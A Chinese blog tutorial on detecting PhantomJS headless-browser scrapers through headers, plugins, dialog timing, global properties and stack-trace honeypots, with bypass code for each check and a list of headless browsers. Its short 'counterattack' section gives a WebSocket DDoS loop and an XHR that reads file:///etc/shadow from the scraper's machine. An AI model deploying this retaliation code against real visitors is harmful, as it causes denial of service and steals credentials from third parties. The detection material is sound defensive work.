前言:

无头浏览器(Headless browser)指没有用户图形界面的(GUI)的浏览器,目前广泛运用于web爬虫和自动化测试中。随着反爬虫和反反爬虫对抗技术的升级,越来越多的爬虫开始使用无头浏览器伪装成正常用户绕过反爬虫策略。

我们如何区分这些无头浏览器和正常浏览器?从Server Side分析用户行为进行检测是一劳永逸的方法,但成本和难度都很大。

不过通过无头浏览器的一些特性。我们也可以从从Client Side找出一些不同来。下面以醉受欢迎的PhantomJS(2.x版本)为例,介绍一些识别的方法,对于其他的无头浏览器,如Slimer JS这些方法也可以参考

HTTP Header

  • PhantomJS

    GET / HTTP/1.1
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1
    Connection: Keep-Alive
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,en,*
    Host: test.com
  • Chrome

    GET / HTTP/1.1
    Host: test.com
    Connection: keep-alive
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    DNT: 1
    Accept-Encoding: gzip, deflate, sdch
    Accept-Language: zh-CN,zh;q=0.8
  • IE 11

    GET / HTTP/1.1
    Accept: image/gif, image/jpeg, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
    Accept-Language: zh-CN
    User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
    Accept-Encoding: gzip, deflate
    Host: test.com
    Connection: Keep-Alive
  • Firefox

    GET / HTTP/1.1
    Host: test.com
    User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Connection: keep-alive
    Upgrade-Insecure-Requests: 1
  • 可以看出PhantomJS的请求头和其他浏览器还是有一些区别的

    • Host头在最后边
    • Connection头的值Keep-Alive是大小写混合
    • User-Agent头里包含PhantomJS关键字

检测方案

  • 通过User-Agent,可以简单的识别出一部分PhantomJS浏览器:

    if (/PhantomJS/.test(navigator.userAgent)) {console.log("PhantomJS environment detected.");
    } else {console.log("PhantomJS environment not detected.");
    }// 提示: 这里只需要重写一下就看不出来了,所以不靠谱
    page.settings.userAgent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36';
  • 浏览器插件

    // 大部分浏览器甚至移动端的浏览器都会默认安装至少一个插件,比如 Chrome 浏览器就会安装 PDF Viewer,Shockwave Flash 等插件,这些插件用 navigator.plugins 可以看到。
    而 PhantomJS 没有实现任何插件功能,也没有提供方法去增加插件。所以我们可以通过检查浏览器的插件数量来猜测访问网站的是不是无头浏览器:if (!(navigator.plugins instanceof PluginArray) || navigator.plugins.length == 0) {console.log("PhantomJS environment detected.");
    } else {console.log("PhantomJS environment not detected.");
    }// 绕过检查的方法也很简单,在页面加载之前修改 navigator 对象就行了
    page.onInitialized = function () {page.evaluate(function () {var oldNavigator = navigator;var oldPlugins = oldNavigator.plugins;var plugins = {};plugins.length = 1;plugins.__proto__ = oldPlugins.__proto__;window.navigator = {plugins: plugins};window.navigator.__proto__ = oldNavigator.__proto__;});
    };
    • 另外也可以定制自己的 PhantomJS,其实并不复杂,因为 PhantomJS 是基于 Qt 框架的,而 Qt 已经提供了原生的 API 供实现插件。
  • 操作时

    般用无头浏览器的爬虫为了防止阻塞都会自动关闭页面上的对话框,但它关闭的速度肯定比正常人手动关闭快很多 ,所以我们可以通过对话框被关闭的用时来判断对面是否是机器人

    var start = Date.now();
    alert('Press OK');
    var elapse = Date.now() - start;
    if (elapse < 15) {console.log("PhantomJS environment detected.");
    } else {console.log("PhantomJS environment not detected.");
    }// 如果对话框在 15 毫秒内就被关闭,很有可能是无头浏览器在控制。
    // 但是这种方法有个弊端——会打扰正常用户,而且只需增加一些延时就可绕过
    page.onAlert = page.onConfirm = page.onPrompt = function () {for (var i = 0; i < 1e8; i++) {}return "a";
    };
  • 窗口特征

    • 无头浏览器因为没有 GUI ,所以窗口大小是不存在的,借此我们可以做一些判断。而且
    • PhantomJS 不支持 outerWith 或 outerHeight
    if (window.outerWidth === 0 || window.outerHeight === 0){
    console.log("PhantomJS environment detected.");
    }
    • 不过这样在 Chrome 里会有一个 bug,当页面在隐藏选项卡中加载,例如从上一个会话恢复时,页面的 outerWidthouterHeight 也会为 0。
    • 另外可以检查键盘、鼠标、触摸屏交互,通过 onmouseoveronkeydown 等函数来判断对方是不是真实用户。
    • 但是 PhantomJS 也提供了 sendEvent 这个函数向页面发送事件,
    • 还可以使用 jQuery 的 trigger() 主动触发事件:
    page.includeJs("http://ajax.googleapis.com/ajax/libs/jquery/1.6.1/jquery.min.js", function(){// do anything
    });
    $('#some_element').trigger('hover');
  • 全局属性

    • PhantomJS 提供了两个全局属性:window.callPhantomwindow._phantom
    if (window.callPhantom || window._phantom) {
    console.log("PhantomJS environment detected.");
    } else {
    console.log("PhantomJS environment not detected.");
    }
    • 不过这两个是实验性功能,未来很可能会被替换。
    • 当然也可以通过重写绕过
    page.onInitialized = function () {page.evaluate(function () {var p = window.callPhantom;delete window._phantom;delete window.callPhantom;Object.defineProperty(window, "myCallPhantom", {get: function () {return p;},set: function () {}, enumerable: false});setTimeout(function () {window.myCallPhantom();}, 1000);});
    };
    page.onCallback = function (obj) {console.log('profit!');
    };
    • 其他一些 JavaScript 引擎的独有全局属性
    window.Buffer //nodejs
    window.emit //couchjs
    window.spawn //rhino
    window.webdriver //selenium
    window.domAutomation (or window.domAutomationController) //chromium based automation driver
  • HTML5 和 JavaScript 新特性

    • PhantomJS 使用的 Webkit 引擎相对较旧,这意味着很多新浏览器才支持的特性可能在 PhantomJS 中缺失。
      • WebAudio
      • WebRTC
      • WebSocket
      • WebGL
      • FileAPI
      • CSS 3
      • Device APIs
      • BatteryManager
    • 另外,JavaScript 引擎的一些原生方法和属性在PhantomJS中不一样或者不存在
    (function () {
    if (!Function.prototype.bind) {console.log("PhantomJS environment detected. #1");return;
    }
    if (Function.prototype.bind.toString().replace(/bind/g, 'Error') != Error.toString()) {console.log("PhantomJS environment detected. #2");return;
    }
    if (Function.prototype.toString.toString().replace(/toString/g, 'Error') != Error.toString()) {console.log("PhantomJS environment detected. #3");return;
    }
    console.log("PhantomJS environment not detected.");
    })();
    • 绕过方法比较复杂,有兴趣的可以看看 spoofFunctionBind.js。
  • 堆栈追踪

    • 这是最有用的识别方法。因为开发者不可能花费大量的精力去修改Webkit的JavaScript引擎核心代码,使PhantomJS的堆栈跟踪写信和真是浏览器一样。
    • 当 PhantomJS 的 evaluate 方法报错时,它会产生独特的堆栈跟踪信息:
    var err;
    try {
    null[0]();
    } catch (e) {
    err = e;
    }
    if (err.stack.indexOf('phantomjs') > -1) {
    console.log("PhantomJS environment detected.");
    } else {
    console.log("PhantomJS environment is not detected.");// 那么如何让 PhantomJS 主动用 evaluate 执行这样的代码呢?我们可以设置蜜罐。
    // 比如重写常见的 DOM API 函数,当 PhantomJS 调用到了被我们重写的 DOM 函数时,
    // 它就会执行我们的代码Document.prototype.querySelectorAll = Element.prototype.querySelectorAll = function () {
    var err;
    try {null[0](); // Force throwing.
    } catch (e) {err = e;
    }
    if (err.stack.indexOf('phantomjs') > -1) {console.log("PhantomJS environment detected.");
    } else {console.log("PhantomJS environment is not detected.");
    }
    };// 上面的这段代码重写了 document.querySelectorAll 函数,如果爬虫调用 PhantomJS 时含有这样的代码
    page.onLoadFinished = function () {page.evaluate(function () {var divs = document.querySelectorAll('div');// do anything});
    };
    // 就会用 evaluate 执行被我们重写过的 querySelectorAll,从而被检测出来。

反击

  • 如果检测出对方使用了 PhantomJS,除了封他 IP,还有什么办法惩罚他呢? 由于 PhantomJS 2.x 已经支持 WebSocket,我们可以给他来个 WebSocket DDos 尝尝
(function () {for (var i = 0; i < 8000; i++) {new WebSocket('ws://victim.com/chat');}})();
// 另外,为了跨域请求的方便,很多 PhantomJS 爬虫会关闭 web-security 这个选项。
// 但关闭这个选项后,连本地的 file 域都可以访问了:var xhr = new XMLHttpRequest();xhr.open('GET', 'file:///etc/shadow', false);// xhr.open('GET', 'file:///C:/Windows/System32/drivers/etc/hosts', false);xhr.onload = function () {console.log(xhr.responseText);};xhr.onerror = function (e) {console.log('Error: ' + JSON.stringify(e));};xhr.send();
  • 如果权限够大,我们甚至可以读取运行 PhantomJS 的机器的密码。
  • 根据 PhantomJS 开发组的计划,WebRTC 将会被支持,到时候我们还能探测他的真实 IP和扫描他的内网。

总结

文中我们介绍了一些在 Client Side 检查 PhantomJS 的方法,对于一般的 PhantomJS 爬虫具有不错的识别效果。 当然,我们不能完全依赖于这些检测手段。对于有经验的爬虫作者,他们还是能通过 Hook JavaScript 代码绕过 Client Side 的检查。比如,重写 indexOf 函数,使 err.stack.indexOf('phantomjs') 恒为 -1,从而绕过我们对堆栈跟踪的检查。

在安全方面,当我们在生产环境使用无头浏览器时,应注意环境隔离,使用低权限运行,设置 --web-security=true

市面上常见的无头浏览器

软件名介绍支持语言
Awesomium基于Chromium无图形界面浏览器引擎。C++, .NET
benvBenv是node.js开发的无界面浏览器测试环境,用于测试客户端代码。JavaScript
browser-launcherBrowser-Launcher可以检测系统上的所有浏览器版本,并在一个独立的配置文件中启动它们,用于自动测试。JavaScript
browser.rb无界面 Ruby 浏览器。Ruby
Browserjet无界面webkit浏览器,采用node.js接口。JavaScript
BrowserKit可模拟浏览器的行为。PHP
CasperJSCasperJS 是一个开源的导航脚本和测试工具,使用 JavaScript 基于 PhantomJS 编写,用于测试 Web 应用功能,Phantom JS是一个服务器端的 JavaScript API 的 WebKit。其支持各种Web标准: DOM 处理, CSS 选择器, JSON, Canvas, 和 SVG。JavaScript
DalekJSDalekJS 是一个基于 JavaScript(或 Node.js) 的免费和开源的自动化测试接口。它能够同时运行测试一组流行的浏览器(Chrome,IE,Firefox 和 WebKit)。JavaScript
ErikErik是一款基于WebKit的无界面浏览器,可用于功能函数的测试,使用JavaScript对网页进行操作访问。Swift
GebGeb 是浏览器自动化(browser automation)测试解決方案。Groovy
ghost.pyghost.py 是一个 Python 的 Webkit 的 Web 客户端。Python
GhostbusterGhostbuster 是一款自动化浏览器测试工具,基于phantomjs,意味着你得到一个仿真浏览器,一个真正的DOM,仿真测试环境。JavaScript
gropeGrope 是无GUI浏览器环境,使用WebKit Framework + RubyCocoa。Ruby
GuillotineGuillotine 是一款采用C#开发的.NET 无界面浏览器。.NET
HeadlessHeadless是一款无界面浏览器,支持快速网络接受测试,采用.Net环境。.NET
headless_browserHeadless-Browser 是一款采用C++开发的基于WebKit 无界面浏览器。C++
HeadlessBrowserHeadlessBrowser是一款轻量级无图形界面浏览器,用于DOM测试。JavaScript
HtmlUnitHtmlUnit 是一个is a “Java 程序 GUI-Less 浏览器”。Java
Jabba-WebkitJabba-Webkit是一款无图形化 WebKit 浏览器,主要用来抓取Ajax网页。Python
Jasmine-Headless-WebkitJasmine-Headless-Webkit是一款基于jasmine的无图形化web工具。Python, JavaScript, Ruby
JauntJava Web 网页抓取&自动化 APIJava
jBrowserDriverjBrowserDriver是一款采用纯Java编写的无图形化浏览器,基于WebKit,和Selenium兼容。Java
jedi-crawlerJedi-Crawler 是一款轻量级 Node/PhantomJS爬虫,可以动态的抓取网页内容。JavaScript
LotteLotte是一款自动化无图形化浏览器测试工具,采用phantomJs。JavaScript
MechanicalSoupMechanicalSoup是一个与网站自动交互Python库。Python
mechanize状态编程的Web浏览。Python
Nightmare高层次浏览器自动化库,构建于PhantomJS。JavaScript
PhantomJSPhantom JS是一个服务器端的 JavaScript API 的 WebKitJavaScript, Python, Ruby, Java, C#, Haskell, Objective-C, Perl, PHP, R(via Selenium)
phantompyPhantompy 是一款headless WebKit 引擎,构建于强大的 Qt5 Webkit API之上。Python
Python-WebkitPython-Webkit 是一个Webkit python扩展, 可完整的访问网页的DOM。Python
RoboBrowserRoboBrowser 是一款简单的浏览网页的Pythonic库,无需依赖独立的浏览器。Python
Selenium跨平台自动化web浏览器。JavaScript, Python, Ruby, Java, C#, Haskell, Objective-C, Perl, PHP, R
SimpleBrowserSimpleBrowser是专门为自动化任务而设计的一个灵活而直观的浏览器引擎,内置.Net 4 framework。.NET
SlimerJSSlimerJS 是一个提供给 Web 开发人员,可通过脚本编程控制的浏览器。JavaScript
SplashSplash是一款HTTP API 轻量级浏览器,采用Python和QT开发。Any
SplinterSplinter 是一个用 Python 编写的 Web 应用程序进行验收测试的工具。Python
SpynnerSpynner是一个可编程Web浏览器Python模块。支持AJAXPython
SSTSST (selenium-simple-test) 是一个 Web 测试框架,使用 Python 来生成基于浏览器的功能测试。Python
stanislawStanislaw一款Python headless 浏览器测试工具。Python
trifleJS一个 headless IE 浏览器。采用 .NET WebBrowser类,拥有Javascript API,运行在 V8引擎。JavaScript
twillTwill是一种简单的语言,允许用户通过一个命令行界面浏览网页。Python
WatiNWatin是一个面向.net的Web自动化测试开源项目,对应Web元素提供了丰富的类库,而且使用起来非常简单。.NET
Watir-WebDriverWatir的实现基于WebDriver的Ruby绑定。Ruby
WKZombieWKZombie是针对iOS/ OSX的不需要用户界面或API就能进行网站导航和数据收集的一个Swift框架,也被称为无界面浏览器。Swift
Zombie.js一个轻量级的框架,用于在一个模拟的环境中测试客户端的 JavaScript 代码。Zombie.js 使用 Node.js 实现快速的 headless full-stack 测试平台。JavaScript
查看全文
如若内容造成侵权/违法违规/事实不符,请联系编程学习网邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!

相关文章

  1. Python爬虫原理与常用模块--urllib与反爬策略

    1 http协议 1.1 简介 1.HTTP协议是Hyper Text Transfer Protocol(超文本传输协议)的缩写,是用于从万维网(WWW:World Wide Web)服务器传输超文本到本地浏览器的传送协议。 2.HTTP是一个基于TCP/IP通信协议来传递数据(HTML 文件, 图片文件, 查询结果等)。 1.2 工作原理HTTP…...

    2024/5/10 17:47:44
  2. 传湖南理工学院封杀360 建议学生改用金山软件

    DoNews 12月12日消息,据网友反映,湖南理工学院近日下发通知,要求学生3天内卸载掉360安全杀毒软件,否则将被停止上网服务。此外,湖南理工学院还建议学生们使用金山安全软件。虽然此举让多数学生感到无奈,但该校给出的理由是,360自动升级功能可能堵塞网络出口。不过,湖南…...

    2024/4/20 3:13:34
  3. 操纵菜单的方法

    CMenu* GetSubMenu( int nPos ) 一位置得到子菜单的指针,因为一个CMenu对象只能表示一个弹出菜单,如果菜单中的某一项也为弹出菜单,就需要通过该函数获取指针。 BOOL AppendMenu( UINT nFlags, UINT nIDNewItem = 0, LPCTSTR lpszNewItem = NULL ) 在末尾添加一项,nFlag为M…...

    2024/5/3 5:18:56
  4. 中国MMORPG过去与未来

    现如今,就连“火星人”都知道网络游戏(以下简称网游)产业是互联网时代最具有“钱途”的产业之一。自.com之后,再也没有哪个产业能像一样令资本狂热。与生俱来、持续稳定的商业模式和呈几何数增长的用户群体,使网游成为许多人梦想的“投资较少,每天睡觉可以有成千上万的钞…...

    2024/5/3 1:28:38
  5. 计算机操作系统基础(七)---作业管理之死锁

    引言 本文为第七篇,作业管理之死锁,死锁是计算机操作系统中非常重要的概念,本文主要介绍什么是死锁以及如何解决死锁 死锁 死锁是指两个或两个以上的进程在执行过程中,由于竞争资源或者由于彼此通信而造成的一种阻塞现象,若无外力作用,它们都将无法推进下去。此时称系统处…...

    2024/5/6 0:23:20
  6. IoT小能手的微信小程序快速入门教程

    小能手的技能栈终于要拓展到微信小程序啦,这真是一件令人高兴的事。 “IoT小能手,你一个搞 IoT 的为啥要学小程序” “物联网是个筐,啥都能够往里装。小程序作为端侧经典应用,当然也得把它收入囊中。” 关于学习路线和学习资源 在一开始的学习过程中,小能手是围绕小程序-微…...

    2024/4/18 4:44:39
  7. JAVA浏览器实现方式

    前言在使用 Java 开发客户端程序时,有时会需要在界面中使用网页浏览器组件,用来显示一段 HTML 或者一个特定的网址。本文将介绍在界面中使用浏览器组件的四种方法,给出示例的代码,并且分析每种方法的优点与不足,便于 Java 开发者在实际开发过程中根据自己的需要来选择。回…...

    2024/4/18 4:28:45
  8. 推荐四款实用的局域网文件夹同步工具

    云端同步服务(如Dropbox)已经满足一般用户文件同步/备份的需求,但是有些办公文件或私人文件需要同步/备份,同时用户又不想传到互联网上去,怎么办呢?百度上搜一搜”局域网”、”文件同步”或”文件夹同步”,一定可以搜到不下三十款相关的局域网文件同步工具,诸如GoodSyn…...

    2024/4/18 4:22:50
  9. MFC 实现自绘菜单

    //首次查找msdn,CMenu的 OverridablesDrawItem Called by the framework when a visual aspect of an owner-drawn menu changes. MeasureItem Called by the framework to determine menu dimensions when an owner-drawn menu is created. 为了实现菜单的自绘,花了我几个小…...

    2024/5/6 2:34:55
  10. java-第九章-循环结构进阶-三个班级每班4位同学成绩大于85的算平均分.

    1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25package 本章总结;import java.util.Scanner;public class A03 {public static void main(String[] args) {int count = 0;double num = 0, sum = 0;Scanner in = new Scanner(System.in);for (int i = 0; i…...

    2024/4/20 1:01:09
  11. 各个浏览器内核和前缀

    今天惊奇的发现,身为学前端的我,竟然不是太清楚各个浏览器的内核,实在是不应该啊。现总结如下:Chrome(谷歌浏览器) :WebKit内核 -webkit-Safari(苹果浏览器) :WebKit内核 -webkit-Firefox(火狐浏览器) :Gecko内核 -moz-IE(IE浏览器) : Trident内…...

    2024/4/18 11:52:09
  12. C++程序设计课程主页-2012级

    本课2014级的方案更完整,视频更清晰,请有需求的人士,请移步到---->2014C++看贺老师的所有课程的教学资源,就到----->贺利坚教学链接这门课的主人  教师:贺利坚——为同学设计学习任务的人,为全班学习把握节奏的人,谁不往前走踢谁屁股的人。常混迹CSDN博客和新浪…...

    2024/4/18 4:24:33
  13. 菜单自绘方面的知识

    1要实现漂亮的界面菜单,必须要启动菜单项的自绘功能,所谓菜单的自绘,就是让菜单自己管理自己的显示效果,为此,首先要作的就是设置菜单项的风格为MF_OWNERDRAW(自绘制),设置菜单的自绘功能即可以通过CMenu类的AppendMenu()函数在菜单的初始阶段实现,也可以通过Modify…...

    2024/4/18 4:25:40
  14. 医疗行业医院内部信息大数据分析

    电子病历数据 这是患者就医过程中所产生的数据,包括患者基本信息、疾病主诉、检验数据、影像数据、诊断数据、治疗数据等,这类数据一般产生及存储在医疗机构的电子病历中,这也是医疗数据最主要的产生地。电子化的医疗病历方便了病历的存储和传输,但是并未达到进行数据分析的…...

    2024/5/3 4:26:56
  15. 微信小程序学习资源

    微信小程序学习纲要学习基础:JavaScriptHTMLCSS微信小程序开发开发工具微信web开发者工具下载链接微信小程序开发官方文档微信小程序开发W3Cschool文档CSDN学院的微信小程序实战视频微信小程序实战项目计算器豆瓣图书移动商城天气空气质量查询github客户端知乎日报微信小程序开…...

    2024/5/3 10:54:30
  16. kvm虚拟机的四种网络模式

    目录引言桥接模式NAT模式路由模式隔离模式默认配置 引言Libvirt虚拟网络使用虚拟网络交换机的概念。虚拟网络交换机是在主机物理机器服务器上运行的软件结构,虚拟机(客户机)通过它连接到该物理主机服务器。客户机的网络流量通过这个交换机被引导:Linux主机物理机服务器将虚…...

    2024/4/12 13:35:04
  17. 顾问分享|建筑施工企业员工任职资格体系的构建与实践应用

    人力资源是企业的核心竞争力,人力资源管理是企业管理的核心要素。目前传统的人力资源管理在我国众多的建筑施工企业中仍占据主导地位,人力资源管理机制不够完善,科学的员工评价体系和激励机制还没有形成,尤其是员工任职资格、任职标准与能力和工作岗位的真正要求还十分不相…...

    2024/5/3 3:30:36
  18. 九城揭秘冷战思维:盛大抢公司我们抢产品

    “开聊吧!”坐到记者对面的第九城市CEO朱骏洒脱地说,就像是朋友在喝茶神侃时那般随意。朱骏是那种个性张扬的“另类”上海男人。他狂妄、自傲,经常口无遮拦、大放厥词。同时,他把上海人固有的精明和审慎隐藏得很深,他的真正想法不易洞察,而他出手的时候却屡屡击中要害。当…...

    2024/4/18 4:33:33
  19. 关于跨平台浏览器

    这几天折腾跨平台浏览器的技术框架,下面将相关技术抛砖引玉一下: 目的很明确,如何能够只使用一套代码,只需要拿到各个平台上去编译执行就可以得到各个平台的执行程序,这个跟java的“一次编译,到处执行”还是不一样,本文探讨的平台包括window、mac、linux、android、ios五…...

    2024/5/3 6:52:11
  20. 幼儿园大班工作计划

    幼儿园大班工作计划 2010年08月03日  一、 分工管理与实践部部员招新: 开学以后,电子工程系会有更多个班级加入进来,即将是本院第一大系,所以,我想要根据具体情况进行招新工作,招新人数根据分工管理后的结果做决定, 我想下学期因为人数较多所以在志愿者管理上要进行系…...

    2024/5/3 10:14:12

最新文章

  1. 代码随想录 | 总结篇

    时间过的飞快&#xff0c;尤其当你回顾时间的时候&#xff0c;这句话是个废话 这次刷题总共分为3个阶段&#xff1a; 规律刷题&#xff0c;前二分之一的时间&#xff0c;按照进度一步步来&#xff0c;这段时间节奏收获也是最大的摆停&#xff0c;中间由于论文停摆了几天&#…...

    2024/5/10 20:02:13
  2. 梯度消失和梯度爆炸的一些处理方法

    在这里是记录一下梯度消失或梯度爆炸的一些处理技巧。全当学习总结了如有错误还请留言&#xff0c;在此感激不尽。 权重和梯度的更新公式如下&#xff1a; w w − η ⋅ ∇ w w w - \eta \cdot \nabla w ww−η⋅∇w 个人通俗的理解梯度消失就是网络模型在反向求导的时候出…...

    2024/5/9 21:23:04
  3. 第十二届蓝桥杯省赛真题(C/C++大学B组)

    目录 #A 空间 #B 卡片 #C 直线 #D 货物摆放 #E 路径 #F 时间显示 #G 砝码称重 #H 杨辉三角形 #I 双向排序 #J 括号序列 #A 空间 #include <bits/stdc.h> using namespace std;int main() {cout<<256 * 1024 * 1024 / 4<<endl;return 0; } #B 卡片…...

    2024/5/9 16:06:05
  4. 汽车统一诊断服务UDS协议参考文章和视频

    UDS基础知识介绍-电子发烧友网 【图解UDS】UDS汽车诊断标准协议&#xff08;ISO14229&#xff09;带你入门到精通-有驾 车载测试之UDS诊断协议9&#xff1a;0x27服务&#xff1a;解锁ECU_哔哩哔哩_bilibili UDS诊断的22服务&#xff08;DID读取数据&#xff09;和2E服务&…...

    2024/5/9 22:48:13
  5. 【外汇早评】美通胀数据走低,美元调整

    原标题:【外汇早评】美通胀数据走低,美元调整昨日美国方面公布了新一期的核心PCE物价指数数据,同比增长1.6%,低于前值和预期值的1.7%,距离美联储的通胀目标2%继续走低,通胀压力较低,且此前美国一季度GDP初值中的消费部分下滑明显,因此市场对美联储后续更可能降息的政策…...

    2024/5/10 12:36:12
  6. 【原油贵金属周评】原油多头拥挤,价格调整

    原标题:【原油贵金属周评】原油多头拥挤,价格调整本周国际劳动节,我们喜迎四天假期,但是整个金融市场确实流动性充沛,大事频发,各个商品波动剧烈。美国方面,在本周四凌晨公布5月份的利率决议和新闻发布会,维持联邦基金利率在2.25%-2.50%不变,符合市场预期。同时美联储…...

    2024/5/9 15:10:32
  7. 【外汇周评】靓丽非农不及疲软通胀影响

    原标题:【外汇周评】靓丽非农不及疲软通胀影响在刚结束的周五,美国方面公布了新一期的非农就业数据,大幅好于前值和预期,新增就业重新回到20万以上。具体数据: 美国4月非农就业人口变动 26.3万人,预期 19万人,前值 19.6万人。 美国4月失业率 3.6%,预期 3.8%,前值 3…...

    2024/5/4 23:54:56
  8. 【原油贵金属早评】库存继续增加,油价收跌

    原标题:【原油贵金属早评】库存继续增加,油价收跌周三清晨公布美国当周API原油库存数据,上周原油库存增加281万桶至4.692亿桶,增幅超过预期的74.4万桶。且有消息人士称,沙特阿美据悉将于6月向亚洲炼油厂额外出售更多原油,印度炼油商预计将每日获得至多20万桶的额外原油供…...

    2024/5/9 4:20:59
  9. 【外汇早评】日本央行会议纪要不改日元强势

    原标题:【外汇早评】日本央行会议纪要不改日元强势近两日日元大幅走强与近期市场风险情绪上升,避险资金回流日元有关,也与前一段时间的美日贸易谈判给日本缓冲期,日本方面对汇率问题也避免继续贬值有关。虽然今日早间日本央行公布的利率会议纪要仍然是支持宽松政策,但这符…...

    2024/5/10 20:01:46
  10. 【原油贵金属早评】欧佩克稳定市场,填补伊朗问题的影响

    原标题:【原油贵金属早评】欧佩克稳定市场,填补伊朗问题的影响近日伊朗局势升温,导致市场担忧影响原油供给,油价试图反弹。此时OPEC表态稳定市场。据消息人士透露,沙特6月石油出口料将低于700万桶/日,沙特已经收到石油消费国提出的6月份扩大出口的“适度要求”,沙特将满…...

    2024/5/4 23:55:05
  11. 【外汇早评】美欲与伊朗重谈协议

    原标题:【外汇早评】美欲与伊朗重谈协议美国对伊朗的制裁遭到伊朗的抗议,昨日伊朗方面提出将部分退出伊核协议。而此行为又遭到欧洲方面对伊朗的谴责和警告,伊朗外长昨日回应称,欧洲国家履行它们的义务,伊核协议就能保证存续。据传闻伊朗的导弹已经对准了以色列和美国的航…...

    2024/5/4 23:54:56
  12. 【原油贵金属早评】波动率飙升,市场情绪动荡

    原标题:【原油贵金属早评】波动率飙升,市场情绪动荡因中美贸易谈判不安情绪影响,金融市场各资产品种出现明显的波动。随着美国与中方开启第十一轮谈判之际,美国按照既定计划向中国2000亿商品征收25%的关税,市场情绪有所平复,已经开始接受这一事实。虽然波动率-恐慌指数VI…...

    2024/5/7 11:36:39
  13. 【原油贵金属周评】伊朗局势升温,黄金多头跃跃欲试

    原标题:【原油贵金属周评】伊朗局势升温,黄金多头跃跃欲试美国和伊朗的局势继续升温,市场风险情绪上升,避险黄金有向上突破阻力的迹象。原油方面稍显平稳,近期美国和OPEC加大供给及市场需求回落的影响,伊朗局势并未推升油价走强。近期中美贸易谈判摩擦再度升级,美国对中…...

    2024/5/4 23:54:56
  14. 【原油贵金属早评】市场情绪继续恶化,黄金上破

    原标题:【原油贵金属早评】市场情绪继续恶化,黄金上破周初中国针对于美国加征关税的进行的反制措施引发市场情绪的大幅波动,人民币汇率出现大幅的贬值动能,金融市场受到非常明显的冲击。尤其是波动率起来之后,对于股市的表现尤其不安。隔夜美国股市出现明显的下行走势,这…...

    2024/5/6 1:40:42
  15. 【外汇早评】美伊僵持,风险情绪继续升温

    原标题:【外汇早评】美伊僵持,风险情绪继续升温昨日沙特两艘油轮再次发生爆炸事件,导致波斯湾局势进一步恶化,市场担忧美伊可能会出现摩擦生火,避险品种获得支撑,黄金和日元大幅走强。美指受中美贸易问题影响而在低位震荡。继5月12日,四艘商船在阿联酋领海附近的阿曼湾、…...

    2024/5/4 23:54:56
  16. 【原油贵金属早评】贸易冲突导致需求低迷,油价弱势

    原标题:【原油贵金属早评】贸易冲突导致需求低迷,油价弱势近日虽然伊朗局势升温,中东地区几起油船被袭击事件影响,但油价并未走高,而是出于调整结构中。由于市场预期局势失控的可能性较低,而中美贸易问题导致的全球经济衰退风险更大,需求会持续低迷,因此油价调整压力较…...

    2024/5/8 20:48:49
  17. 氧生福地 玩美北湖(上)——为时光守候两千年

    原标题:氧生福地 玩美北湖(上)——为时光守候两千年一次说走就走的旅行,只有一张高铁票的距离~ 所以,湖南郴州,我来了~ 从广州南站出发,一个半小时就到达郴州西站了。在动车上,同时改票的南风兄和我居然被分到了一个车厢,所以一路非常愉快地聊了过来。 挺好,最起…...

    2024/5/7 9:26:26
  18. 氧生福地 玩美北湖(中)——永春梯田里的美与鲜

    原标题:氧生福地 玩美北湖(中)——永春梯田里的美与鲜一觉醒来,因为大家太爱“美”照,在柳毅山庄去寻找龙女而错过了早餐时间。近十点,向导坏坏还是带着饥肠辘辘的我们去吃郴州最富有盛名的“鱼头粉”。说这是“十二分推荐”,到郴州必吃的美食之一。 哇塞!那个味美香甜…...

    2024/5/4 23:54:56
  19. 氧生福地 玩美北湖(下)——奔跑吧骚年!

    原标题:氧生福地 玩美北湖(下)——奔跑吧骚年!让我们红尘做伴 活得潇潇洒洒 策马奔腾共享人世繁华 对酒当歌唱出心中喜悦 轰轰烈烈把握青春年华 让我们红尘做伴 活得潇潇洒洒 策马奔腾共享人世繁华 对酒当歌唱出心中喜悦 轰轰烈烈把握青春年华 啊……啊……啊 两…...

    2024/5/8 19:33:07
  20. 扒开伪装医用面膜,翻六倍价格宰客,小姐姐注意了!

    原标题:扒开伪装医用面膜,翻六倍价格宰客,小姐姐注意了!扒开伪装医用面膜,翻六倍价格宰客!当行业里的某一品项火爆了,就会有很多商家蹭热度,装逼忽悠,最近火爆朋友圈的医用面膜,被沾上了污点,到底怎么回事呢? “比普通面膜安全、效果好!痘痘、痘印、敏感肌都能用…...

    2024/5/5 8:13:33
  21. 「发现」铁皮石斛仙草之神奇功效用于医用面膜

    原标题:「发现」铁皮石斛仙草之神奇功效用于医用面膜丽彦妆铁皮石斛医用面膜|石斛多糖无菌修护补水贴19大优势: 1、铁皮石斛:自唐宋以来,一直被列为皇室贡品,铁皮石斛生于海拔1600米的悬崖峭壁之上,繁殖力差,产量极低,所以古代仅供皇室、贵族享用 2、铁皮石斛自古民间…...

    2024/5/8 20:38:49
  22. 丽彦妆\医用面膜\冷敷贴轻奢医学护肤引导者

